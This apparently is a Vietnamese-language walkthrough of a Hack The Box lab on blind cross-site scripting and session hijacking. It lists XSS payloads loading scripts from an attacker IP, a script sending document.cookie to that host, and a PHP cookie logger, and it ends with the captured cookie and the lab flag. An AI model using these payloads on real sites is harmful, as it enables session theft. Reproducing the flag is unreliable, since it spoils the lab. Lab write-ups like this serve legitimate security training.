1. Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the 'Session Hijacking' scripts to grab the Admin's cookie and use it in 'login.php' to get the flag.

A screenshot of a computer screen

Description automatically generated

1. **Kiểm tra trường đầu vào bị lỗ hổng XSS Blind**

Mẹo: Chúng ta sẽ nhận thấy rằng email phải khớp với định dạng email, ngay cả khi chúng ta thử thao tác các tham số yêu cầu HTTP, vì nó có vẻ được xác thực ở cả giao diện người dùng và giao diện quản trị. Do đó, trường email không dễ bị tấn công và chúng ta có thể bỏ qua việc kiểm tra trường này. Tương tự như vậy, chúng ta có thể bỏ qua trường mật khẩu, vì mật khẩu thường được băm và thường không hiển thị dưới dạng văn bản thuần túy. Điều này giúp chúng ta giảm số lượng trường đầu vào dễ bị tấn công mà chúng ta cần kiểm tra.

Giờ cần kiểm tra các trường Fullname ,username,Profile

A screenshot of a computer

Description automatically generated

Ta sử dụng các payload này để xác định từng trường ( theo như trong bài giảng )

<script src=http://10.10.15.37/script.js></script>

```bash

'><script src=http://10.10.15.37/script1.js></script>

"><script src=http://10.10.15.37/script2.js></script>

javascript:eval('var a=document.createElement(\'script\');a.src=\'http://10.10.15.37/script3.js\';document.body.appendChild(a)')

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "http://10.10.15.37/script4.js");a.send();</script>

<script>$.getScript("http://10.10.15.37/script4.js")</script>

```

Khi kiểm tra lần lượt 3 trường bằng burp intruder ta phát hiện ở trường Profile có yêu cầu gửi về

A screenshot of a computer

Description automatically generated

A screen shot of a computer

Description automatically generated

Cụ thể payload là

```bash

"><script src=http://10.10.15.37/script2.js></script>

```

1. **Chiếm đoạt phiên**

 yêu cầu cần một tải trọng JavaScript để gửi cho chúng tôi dữ liệu cần thiết và một tập lệnh PHP được lưu trữ trên máy chủ của chúng tôi để lấy và phân tích dữ liệu được truyền đi.

File script2.js

```bash

new Image().src='http://10.10.15.37 /index.php?c='+document.cookie;

```

File index.php

```bash

**<?php**

if (isset($\_GET['c'])) {

$list = explode(";", $\_GET['c']);

foreach ($list as $key => $value) {

$cookie = urldecode($value);

$file = fopen("cookies.txt", "a+");

fputs($file, "Victim IP: {$\_SERVER['REMOTE\_ADDR']} | Cookie: {$cookie}\n");

fclose($file);

}

}

**?>**

```

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screen shot of a computer

Description automatically generated

A close up of a computer screen

Description automatically generated

```bash

cookie=c00k1355h0u1d8353cu23d

```

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

P/s:HTB{4lw4y5\_53cur3\_y0ur\_c00k135}